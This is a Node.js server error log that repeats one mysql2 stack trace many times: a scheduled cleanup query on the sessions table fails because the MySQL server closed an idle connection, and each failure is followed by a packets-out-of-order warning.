Error: delete from `sessions` where expired < CAST('2026-02-06 03:43:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 03:43:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 05:33:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 05:33:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 07:17:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 07:17:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 07:53:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 07:53:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 08:35:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 08:35:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 09:48:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 09:48:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 10:40:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 10:40:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 11:57:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 11:57:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 13:36:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 13:36:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 16:56:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 16:56:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 17:38:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 17:38:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 18:07:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 18:07:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 19:00:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 19:00:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 23:50:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 23:50:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-06 23:57:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-06 23:57:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-07 00:47:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-07 00:47:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-07 00:52:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-07 00:52:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-07 01:46:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-07 01:46:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-07 06:54:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-07 06:54:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-07 09:52:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-07 09:52:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
